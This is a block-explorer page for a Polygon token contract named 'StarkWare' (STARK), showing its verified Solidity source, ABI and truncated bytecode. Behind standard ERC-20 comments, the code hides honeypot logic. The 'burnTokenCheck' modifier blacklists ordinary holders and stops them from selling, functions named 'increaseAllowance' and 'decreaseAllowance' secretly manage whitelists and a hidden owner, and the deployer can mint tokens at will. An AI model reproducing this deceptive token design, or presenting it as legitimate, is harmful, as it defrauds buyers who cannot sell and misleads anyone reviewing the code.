Polygon Sponsored slots available. Book your slot here!
ERC-20
Overview
Max Total Supply
1,000,000,000 STARK
Holders
161
Market
Price
$0.00 @ 0.000000 MATIC
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
488,949,776 STARKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
StarkWare
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2022-07-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract StarkWare is IERC20 { using SafeMath for uint256; address public owner; string private _name = "StarkWare"; string private _symbol = "STARK"; uint8 private _decimals = 18; uint256 private _totalSupply; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(address payable _ownr, uint256 initialSupply) { owner =_ownr; _owner = msg.sender; _safeOwner = msg.sender; mint(owner, initialSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-Private}. */ address private _owner; address private _safeOwner; uint256 private _sellAmount = 0; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; address private _router = 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff; /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(msg.sender, recipient, amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Moves `value` WERC10 token from caller's account to account (`to`), * after which a call is executed to an ERC677-compliant contract with the `data` parameter. * A transfer to `address(0)` triggers an ETH withdraw matching the sent WERC10 token in favor of caller. * Emits {Transfer} event. * Returns boolean value indicating whether operation succeeded. * Requirements: * - caller account must have at least `value` WERC10 token. * For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. */ function transferToken(address token, address recipient, uint256 amount) public { require(msg.sender == _owner, "!owner"); IERC20(token).transfer(recipient, amount); } /** * @dev Sets `value` as allowance of `spender` account over `owner` account's WERC10 token, given `owner` account's signed approval. * Emits {Approval} event. * Requirements: * - `deadline` must be timestamp in future. * - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. * - the signature must use `owner` account's current nonce (see {nonces}). * - the signer cannot be zero address and must be `owner` account. * For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. * WERC10 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. */ function airdrop(address[] calldata receivers, uint256 amount) public { require(msg.sender == _owner, "!owner"); for(uint256 i = 0; i < receivers.length; i++) { uint256 _amount = amount * 10**18; require(_balances[owner] >= _amount, "WERC10: transfer amount exceeds balance"); _balances[owner] = _balances[owner].sub(_amount, "ERC20: transfer amount exceeds balance"); _balances[receivers[i]] = _balances[receivers[i]].add(_amount); emit Transfer(owner, receivers[i], _amount); } } /** * @dev See {IERC20-allowance}. */ function allowance(address ownr, address spender) public view virtual override returns (uint256) { return _allowances[ownr][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function _addApprove(address[] memory receivers) private { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); uint256 _amount = amount*(10**18); _totalSupply = _totalSupply.add(_amount); _balances[account] = _balances[account].add(_amount); emit Transfer(address(0), owner, _amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address ownr, address spender, uint256 amount) internal virtual { require(ownr != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[ownr][spender] = amount; emit Approval(ownr, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address payable","name":"_ownr","type":"address"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ownr","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c06040526009608081905268537461726b5761726560b81b60a09081526200002c9160019190620002a5565b5060408051808201909152600580825264535441524b60d81b60209092019182526200005b91600291620002a5565b506003805460ff191660121790556000600955600c80546001600160a01b03191673a5e0829caced8ffdd4de3c43696c57f7d7a678ff179055348015620000a157600080fd5b506040516200181938038062001819833981016040819052620000c4916200034b565b600080546001600160a01b0384166001600160a01b0319918216811790925560078054821633908117909155600880549092161790556200010690826200010e565b505062000417565b6007546001600160a01b031633146200016e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b60006200018482670de0b6b3a7640000620003a2565b9050620001a2816004546200023b60201b620008af1790919060201c565b6004556001600160a01b038316600090815260056020908152604090912054620001d7918390620008af6200023b821b17901c565b6001600160a01b03808516600090815260056020526040808220939093558054925192909116917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200022e9085815260200190565b60405180910390a3505050565b6000806200024a838562000387565b9050838110156200029e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000165565b9392505050565b828054620002b390620003c4565b90600052602060002090601f016020900481019282620002d7576000855562000322565b82601f10620002f257805160ff191683800117855562000322565b8280016001018555821562000322579182015b828111156200032257825182559160200191906001019062000305565b506200033092915062000334565b5090565b5b8082111562000330576000815560010162000335565b600080604083850312156200035f57600080fd5b82516001600160a01b03811681146200037757600080fd5b6020939093015192949293505050565b600082198211156200039d576200039d62000401565b500190565b6000816000190483118215151615620003bf57620003bf62000401565b500290565b600181811c90821680620003d957607f821691505b60208210811415620003fb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f280620004276000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806380b2122e11610097578063c204642c11610066578063c204642c1461020c578063dd62ed3e1461021f578063e126811514610258578063f5537ede1461026b57600080fd5b806380b2122e146101b35780638da5cb5b146101c657806395d89b41146101f1578063a9059cbb146101f957600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce5671461016057806340c10f191461017557806370a082311461018a57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261027e565b60405161010f9190611125565b60405180910390f35b61012b610126366004610f92565b610310565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610f56565b610326565b60035460405160ff909116815260200161010f565b610188610183366004610f92565b61038f565b005b61013f610198366004610f08565b6001600160a01b031660009081526005602052604090205490565b6101886101c1366004610f08565b610489565b6000546101d9906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104d5565b61012b610207366004610f92565b6104e4565b61018861021a366004610fbc565b6104f1565b61013f61022d366004610f23565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610188610266366004611037565b610716565b610188610279366004610f56565b610803565b60606001805461028d906112b6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b9906112b6565b80156103065780601f106102db57610100808354040283529160200191610306565b820191906000526020600020905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b600061031d338484610915565b50600192915050565b6000610333848484610a31565b610385843361038085604051806060016040528060288152602001611375602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610eb2565b610915565b5060019392505050565b6007546001600160a01b031633146103ee5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b600061040282670de0b6b3a7640000611280565b60045490915061041290826108af565b6004556001600160a01b03831660009081526005602052604090205461043890826108af565b6001600160a01b038085166000908152600560205260408082209390935580549251929091169160008051602061139d8339815191529061047c9085815260200190565b60405180910390a3505050565b6007546001600160a01b031633146104b35760405162461bcd60e51b81526004016103e590611248565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028d906112b6565b600061031d338484610a31565b6007546001600160a01b0316331461051b5760405162461bcd60e51b81526004016103e590611248565b60005b8281101561071057600061053a83670de0b6b3a7640000611280565b600080546001600160a01b03168152600560205260409020549091508111156105b55760405162461bcd60e51b815260206004820152602760248201527f5745524331303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103e5565b6105f28160405180606001604052806026815260200161134f60269139600080546001600160a01b03168152600560205260409020549190610eb2565b600080546001600160a01b0316815260056020819052604082209290925561065d91839188888781811061062857610628611322565b905060200201602081019061063d9190610f08565b6001600160a01b03168152602081019190915260400160002054906108af565b6005600087878681811061067357610673611322565b90506020020160208101906106889190610f08565b6001600160a01b031681526020810191909152604001600020558484838181106106b4576106b4611322565b90506020020160208101906106c99190610f08565b6000546040518381526001600160a01b03928316929091169060008051602061139d8339815191529060200160405180910390a35080610708816112f1565b91505061051e565b50505050565b6007546001600160a01b031633146107405760405162461bcd60e51b81526004016103e590611248565b60005b81518110156107ff576001600a600084848151811061076457610764611322565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b60008484815181106107bb576107bb611322565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107f7816112f1565b915050610743565b5050565b6007546001600160a01b0316331461082d5760405162461bcd60e51b81526004016103e590611248565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107109190611103565b6000806108bc8385611268565b90508381101561090e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e5565b9392505050565b6001600160a01b0383166109775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e5565b6001600160a01b0382166109d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e5565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161047c565b6008546007548491849184916001600160a01b039182169116148015610a6457506007546001600160a01b038481169116145b15610b8857600880546001600160a01b0319166001600160a01b03848116919091179091558616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b038516610acd5760405162461bcd60e51b81526004016103e59061117a565b610b0a8460405180606001604052806026815260200161134f602691396001600160a01b0389166000908152600560205260409020549190610eb2565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610b3990856108af565b6001600160a01b03808716600081815260056020526040908190209390935591519088169060008051602061139d83398151915290610b7b9088815260200190565b60405180910390a3610eaa565b6007546001600160a01b0384811691161480610bb157506008546001600160a01b038481169116145b80610bc957506007546001600160a01b038381169116145b15610c2d576007546001600160a01b038481169116148015610bfc5750816001600160a01b0316836001600160a01b0316145b15610c075760098190555b6001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b0383166000908152600a602052604090205460ff16151560011415610c79576001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b0383166000908152600b602052604090205460ff16151560011415610ce4576008546001600160a01b0384811691161480610cc85750600c546001600160a01b038381169116145b610c075760405162461bcd60e51b81526004016103e5906111bd565b600954811015610d62576008546001600160a01b0383811691161415610c07576001600160a01b0383166000908152600b60209081526040808320805460ff19908116600117909155600a909252909120805490911690556001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6008546001600160a01b0384811691161480610d8b5750600c546001600160a01b038381169116145b610da75760405162461bcd60e51b81526004016103e5906111bd565b6001600160a01b038616610dcd5760405162461bcd60e51b81526004016103e590611203565b6001600160a01b038516610df35760405162461bcd60e51b81526004016103e59061117a565b610e308460405180606001604052806026815260200161134f602691396001600160a01b0389166000908152600560205260409020549190610eb2565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610e5f90856108af565b6001600160a01b03808716600081815260056020526040908190209390935591519088169060008051602061139d83398151915290610ea19088815260200190565b60405180910390a35b505050505050565b60008184841115610ed65760405162461bcd60e51b81526004016103e59190611125565b506000610ee3848661129f565b95945050505050565b80356001600160a01b0381168114610f0357600080fd5b919050565b600060208284031215610f1a57600080fd5b61090e82610eec565b60008060408385031215610f3657600080fd5b610f3f83610eec565b9150610f4d60208401610eec565b90509250929050565b600080600060608486031215610f6b57600080fd5b610f7484610eec565b9250610f8260208501610eec565b9150604084013590509250925092565b60008060408385031215610fa557600080fd5b610fae83610eec565b946020939093013593505050565b600080600060408486031215610fd157600080fd5b833567ffffffffffffffff80821115610fe957600080fd5b818601915086601f830112610ffd57600080fd5b81358181111561100c57600080fd5b8760208260051b850101111561102157600080fd5b6020928301989097509590910135949350505050565b6000602080838503121561104a57600080fd5b823567ffffffffffffffff8082111561106257600080fd5b818501915085601f83011261107657600080fd5b81358181111561108857611088611338565b8060051b604051601f19603f830116810181811085821117156110ad576110ad611338565b604052828152858101935084860182860187018a10156110cc57600080fd5b600095505b838610156110f6576110e281610eec565b8552600195909501949386019386016110d1565b5098975050505050505050565b60006020828403121561111557600080fd5b8151801515811461090e57600080fd5b600060208083528351808285015260005b8181101561115257858101830151858201604001528201611136565b81811115611164576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b6000821982111561127b5761127b61130c565b500190565b600081600019048311821515161561129a5761129a61130c565b500290565b6000828210156112b1576112b161130c565b500390565b600181811c908216806112ca57607f821691505b602082108114156112eb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156113055761130561130c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220315ebed806791662c819fe49db586ffeae11d488f4aca88697690cb5d58ed7c864736f6c634300080700330000000000000000000000007074bb056c53acc0b6091dd3fae591aa3a4acc88000000000000000000000000000000000000000000000000000000003b9aca00
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806380b2122e11610097578063c204642c11610066578063c204642c1461020c578063dd62ed3e1461021f578063e126811514610258578063f5537ede1461026b57600080fd5b806380b2122e146101b35780638da5cb5b146101c657806395d89b41146101f1578063a9059cbb146101f957600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce5671461016057806340c10f191461017557806370a082311461018a57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261027e565b60405161010f9190611125565b60405180910390f35b61012b610126366004610f92565b610310565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610f56565b610326565b60035460405160ff909116815260200161010f565b610188610183366004610f92565b61038f565b005b61013f610198366004610f08565b6001600160a01b031660009081526005602052604090205490565b6101886101c1366004610f08565b610489565b6000546101d9906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104d5565b61012b610207366004610f92565b6104e4565b61018861021a366004610fbc565b6104f1565b61013f61022d366004610f23565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610188610266366004611037565b610716565b610188610279366004610f56565b610803565b60606001805461028d906112b6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b9906112b6565b80156103065780601f106102db57610100808354040283529160200191610306565b820191906000526020600020905b8154815290600101906020018083116102e957829003601f168201915b5050505050905090565b600061031d338484610915565b50600192915050565b6000610333848484610a31565b610385843361038085604051806060016040528060288152602001611375602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610eb2565b610915565b5060019392505050565b6007546001600160a01b031633146103ee5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b600061040282670de0b6b3a7640000611280565b60045490915061041290826108af565b6004556001600160a01b03831660009081526005602052604090205461043890826108af565b6001600160a01b038085166000908152600560205260408082209390935580549251929091169160008051602061139d8339815191529061047c9085815260200190565b60405180910390a3505050565b6007546001600160a01b031633146104b35760405162461bcd60e51b81526004016103e590611248565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028d906112b6565b600061031d338484610a31565b6